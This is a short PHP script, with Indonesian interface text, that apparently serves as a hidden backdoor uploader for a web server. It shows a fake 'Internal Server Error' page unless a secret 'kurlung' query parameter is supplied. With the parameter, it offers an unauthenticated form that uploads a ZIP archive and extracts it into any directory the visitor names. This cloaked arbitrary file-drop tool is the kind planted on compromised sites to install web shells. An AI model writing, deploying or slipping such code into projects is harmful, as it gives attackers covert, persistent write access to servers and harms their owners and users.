<?php

if (!isset($_GET['kurlung'])) {
    // Jika tidak ada parameter kurlung, tampilkan error 500
    http_response_code(500);
    exit('Internal Server Error');
}

$errorMessage = "";
$successMessage = "";

 if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['zip_file'])) {
    $allowedExtensions = array("zip");
    $uploadExtension = strtolower(pathinfo($_FILES['zip_file']['name'], PATHINFO_EXTENSION));

    if (!in_array($uploadExtension, $allowedExtensions)) {
        $errorMessage = "File yang diunggah harus memiliki ekstensi .zip.";
    } else {
        $zipFilePath = $_FILES['zip_file']['tmp_name'];
        $extractTo = rtrim($_POST['extract_to'], '/'); // direktori tujuan

        function extractZipFile($zipFilePath, $extractTo) {
            if (!file_exists($zipFilePath)) {
                return "File ZIP tidak ditemukan.";
            }
            if (!is_dir($extractTo)) {
                return "Direktori tujuan tidak ditemukan.";
            }

            $zip = new ZipArchive();
            if ($zip->open($zipFilePath) === TRUE) {
                $zip->extractTo($extractTo);
                $zip->close();
                return "File ZIP berhasil diekstrak ke $extractTo.";
            } else {
                return "Tidak dapat membuka file ZIP.";
            }
        }

        $successMessage = extractZipFile($zipFilePath, $extractTo);
    }
    }
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Upload dan Ekstrak File ZIP</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
    <style>
        body { background-color: #f0f0f0; }
        .container {
            background-color: #ffffff;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.2);
            max-width: 400px;
            margin: 50px auto;
            opacity: 0;
            animation: fadeIn 0.5s forwards;
        }
        @keyframes fadeIn { from {opacity: 0; transform: translateY(-20px);} to {opacity: 1; transform: translateY(0);} }
        h2 { text-align: center; margin-bottom: 20px; color: #333; }
        input[type="file"], input[type="text"], input[type="submit"] {
            width: 100%; padding: 10px; margin-bottom: 15px; border: 1px solid #ccc; border-radius: 5px;
        }
        input[type="submit"] {
            background-color: #333; color: #fff; border: none; cursor: pointer; font-size: 16px; padding: 15px;
        }
        input[type="submit"]:hover { background-color: #555; }
        .success-message { background-color: #228B22; color: #fff; padding: 10px; border-radius: 5px; margin-bottom: 10px; }
        .error-message { background-color: #FF0000; color: #fff; padding: 10px; border-radius: 5px; margin-bottom: 10px; }
    </style>
</head>
<body>
    <div class="container">
        <h2>Unggah File ZIP untuk Diekstrak</h2>
        <form action="" method="post" enctype="multipart/form-data">
            <div class="form-group">
                <label for="zip_file">Pilih file ZIP:</label>
                <input type="file" name="zip_file" id="zip_file" accept=".zip" required>
            </div>
            <div class="form-group">
                <label for="extract_to">Direktori Tujuan:</label>
                <input type="text" name="extract_to" id="extract_to" class="form-control" value="<?php echo __DIR__; ?>" required>
            </div>
            <input type="submit" value="Unggah dan Ekstrak" class="btn btn-primary">
        </form>
        <?php if (!empty($successMessage)): ?>
            <div class="success-message"><?php echo $successMessage; ?></div>
        <?php endif; ?>
        <?php if (!empty($errorMessage)): ?>
            <div class="error-message"><?php echo $errorMessage; ?></div>
        <?php endif; ?>
    </div>
</body>
</html>
